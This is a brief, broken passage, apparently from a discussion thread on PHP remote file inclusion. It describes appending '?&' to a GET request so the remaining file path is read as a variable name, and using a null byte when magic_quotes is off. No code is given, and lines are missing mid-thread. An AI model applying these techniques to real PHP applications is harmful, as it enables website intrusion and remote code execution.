In a typical PHP exploit scenario, the attacker could merely add a

this situation?
You would basically just need to add ?& to the end of the http get
request as so if your including a remote file, since you would be
placing the remaining file tree as a variable name.

Using a null byte should work if magic_quotes = off.
